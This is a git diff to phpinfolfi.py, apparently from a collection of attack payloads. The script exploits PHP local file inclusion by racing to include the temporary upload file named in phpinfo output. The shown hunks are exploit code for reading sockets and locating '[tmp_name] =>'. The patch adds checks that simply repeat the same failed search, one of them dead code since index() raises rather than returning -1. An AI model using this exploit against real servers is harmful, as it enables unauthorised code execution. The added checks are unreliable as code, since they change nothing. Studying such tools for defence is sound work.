diff --git a/File Inclusion/Files/phpinfolfi.py b/File Inclusion/Files/phpinfolfi.py index c369232..d2a9360 100644 --- a/File Inclusion/Files/phpinfolfi.py +++ b/File Inclusion/Files/phpinfolfi.py @@ -53,6 +53,8 @@ def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): d += s.recv(offset) try: i = d.index("[tmp_name] =>") + if i == -1: + i = d.index("[tmp_name] =>") fn = d[i+17:i+31] except ValueError: return None @@ -111,6 +113,8 @@ def getOffset(host, port, phpinforeq): break s.close() i = d.find("[tmp_name] =>") + if i == -1: + i = d.find("[tmp_name] =>") if i == -1: raise ValueError("No php tmp_name in phpinfo output") @@ -193,4 +197,4 @@ def main(): if __name__=="__main__": print("Don't forget to modify the LFI URL") - main() + main() \ No newline at end of file